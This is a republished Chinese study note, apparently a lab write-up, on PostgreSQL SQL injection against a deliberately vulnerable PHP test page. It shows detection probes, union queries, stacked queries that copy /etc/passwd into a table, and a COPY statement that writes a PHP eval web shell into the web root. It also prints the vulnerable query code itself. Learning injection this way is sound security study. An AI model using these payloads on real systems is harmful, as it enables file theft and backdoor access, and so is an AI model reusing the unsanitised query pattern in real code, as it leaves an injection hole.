学习笔记-PostgreSql注入

栏目: 数据库 · 发布时间: 5年前

内容简介:PostgreSQL是一个功能强大的开源对象关系数据库管理系统(ORDBMS)。 用于安全地存储数据; 支持最佳做法,并允许在处理请求时检索它们。PostgreSQL(也称为Post-gress-Q-L)由PostgreSQL全球开发集团(全球志愿者团队)开发。 它不受任何公司或其他私人实体控制。 它是开源的,其源代码是免费提供的。PostgreSQL是跨平台的,可以在许多操作系统上运行,如Linux,FreeBSD,OS X,Solaris和Microsoft Windows等。可以在常量后面加

PostgreSQL是一个功能强大的开源对象关系数据库管理系统(ORDBMS)。 用于安全地存储数据; 支持最佳做法,并允许在处理请求时检索它们。PostgreSQL(也称为Post-gress-Q-L)由PostgreSQL全球开发集团(全球志愿者团队)开发。 它不受任何公司或其他私人实体控制。 它是开源的,其源代码是免费提供的。PostgreSQL是跨平台的,可以在许多操作系统上运行,如Linux,FreeBSD,OS X,Solaris和Microsoft Windows等。

测试过程

目标

学习笔记-PostgreSql注入
and 1=1

学习笔记-PostgreSql注入

如何判断目标的database是不是postgresql?

可以在常量后面加 ::类型名 , 1等于1::int

postgresql还支持||字符串连接符以及chr函数—-chr(1)||chr(1)=chr(1)||chr(1)返回正常

所以:

union注入走一下

order by 判断字段为4

union 查询数据

学习笔记-PostgreSql注入

显示位在第二

试一下读文件

postgresql可以通过 ; 来分割执行自己定义的语句

create table wing(wing text  not null) # 语法和其他数据库一样

读取文件内容并插入表中

copy wing(wing) from '/etc/passwd'

然后通过union查询出来

学习笔记-PostgreSql注入

写shell

copy (select '<?php eval($_REQUEST["w"]);?>') to '/var/www/wing.php'

getshell

学习笔记-PostgreSql注入 测试代码如下:

<?php
error_reporting(E_ALL);

$conn_string = "host=localhost port=5432 dbname=postgres user=postgres password=pgsql123";
$conn = pg_connect($conn_string);
$rs = pg_query($conn, "SELECT * FROM news_list WHERE id = " . $_GET['id']);
if(pg_num_rows($rs) == 0)
{
	echo "No record.";
}
else
{
	while($row = pg_fetch_array($rs))
	{
		echo $row['title'];
	}
}
pg_close($conn);

sqlmap验证:

学习笔记-PostgreSql注入

以上所述就是小编给大家介绍的《学习笔记-PostgreSql注入》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

如何求解问题

如何求解问题

Zbigniew Michalewicz、David B.Fogel / 曹宏庆 / 中国水利水电出版社 / 2003-2-1 / 35.00元

《如何求解问题:现代启发式方法》通过一系列贯穿于章节间的有趣难题,《如何求解问题:现代启发式方法》深入浅出地阐述了如何利用计算机来求解问题的一些现代启发式方法。全书包括两部分,共分15章。一起来看看 《如何求解问题》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换